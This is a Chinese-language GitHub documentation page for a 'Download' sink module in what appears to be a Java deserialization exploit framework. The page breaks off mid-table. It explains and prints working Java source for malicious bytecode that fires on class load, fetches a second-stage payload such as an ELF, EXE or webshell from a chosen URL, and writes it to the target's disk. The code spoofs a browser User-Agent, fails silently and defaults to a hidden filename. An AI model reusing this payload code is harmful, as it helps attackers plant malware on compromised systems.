Skip to content

Latest commit

 

History

History
66 lines (57 loc) · 2.99 KB

File metadata and controls

66 lines (57 loc) · 2.99 KB

文件下载(Download)

  • 类别:bytecode 别名:— 优先级:15
  • 作者:Ar3h
  • 依赖:无第三方依赖(内置 Javassist 生成字节码)

作用

生成一段「从指定 URL 下载文件并落地保存」的恶意类字节码(byte[])。它是一个不执行命令、只做文件落地的链尾 sink,常用于把二级 payload(如 ELF/EXE/webshell/jar)投递到目标磁盘,再由其他手段触发。

链接标签

  • 入口 tagsBytecodeEND
    • Bytecode —— 产出原始字节码,被 nextTags=Bytecode 的上游 BytecodeConvert 承接。
    • END —— 链的合法终点标记。
  • 衔接 nextTags:无 —— 链尾 sink。
  • excludes:无。

源码剖析

Gadget 本体把用户填写的 url/path 反射写入模板类的静态字段:

@Param(name="url", description="download url")
public String url;
@Param(name="path", description="eg: /tmp/a.elf、1.exe")
public String path = ".tmp_data";

public byte[] getObject() throws Exception {
    JavassistHelper javassistHelper = new JavassistHelper(DownloadBytecode.class);
    javassistHelper.modifyStringField("url", this.url);      // 写入下载地址
    javassistHelper.modifyStringField("path", this.path);    // 写入落地路径
    return javassistHelper.getBytecode();
}

@Override
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
    chain.doCreate(context);   // 推进链上下文,本链无内层数据
    return this.getObject();
}

下载逻辑在模板类中,同样由静态初始化块触发:

public class DownloadBytecode {
    public static String url;
    public static String path;

    public DownloadBytecode() {
        int byteread = 0;
        try {
            URL url_ = new URL(url);
            HttpURLConnection http = (HttpURLConnection) url_.openConnection();
            http.setConnectTimeout(5000);
            http.setRequestProperty("User-Agent", "Mozilla/5.0 ... Chrome/110.0.0.0 Safari/521.36");  // 伪装浏览器 UA
            InputStream inStream = http.getInputStream();
            FileOutputStream fs = new FileOutputStream(path);   // 写入指定路径
            byte[] buffer = new byte[1024];
            while ((byteread = inStream.read(buffer)) != -1) {
                fs.write(buffer, 0, byteread);                   // 1KB 分块拷贝
            }
        } catch (Exception exception) { /* 静默 */ }
    }

    static { new DownloadBytecode(); }     // 类初始化即触发下载
}

关键点:仅 GET 下载并落盘,不设置可执行位、不执行(这是与 DownloadExec 的核心区别)。连接超时 5 秒、伪装常见 Chrome UA 以规避简单的 UA 过滤。默认落地文件名为 .tmp_data(隐藏文件),建议按目标系统改成 /tmp/a.elf1.exe。同样把逻辑放在 static {} + 构造函数,类被加载初始化即触发。

参数(@Param)

| 字段 | 名称 | 说